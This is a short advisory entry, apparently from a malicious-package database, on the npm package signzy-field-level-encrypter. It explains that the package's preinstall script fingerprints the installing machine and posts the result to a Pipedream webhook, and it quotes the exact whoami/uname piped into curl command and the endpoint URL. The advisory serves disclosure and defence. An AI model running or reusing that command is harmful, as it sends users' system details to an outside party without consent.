What is MAL-2026-10972?

MAL-2026-10972 is a malicious package in signzy-field-level-encrypter, published on 21 Jul 2026.

Official description

package.json declares a preinstall lifecycle script that runs echo "$(whoami): $(uname -a)" | curl -X POST against a hardcoded Pipedream webhook at https://eob8pyiw2d4hxvk.m.pipedream.net. On npm install, the installer's OS username and kernel/architecture/hostname fingerprint are captured and transmitted to an author-controlled endpoint without consent or opt-out. The destination is a generic Pipedream request-bin, not infrastructure related to any legitimate field-level-encryption purpose the package name implies.
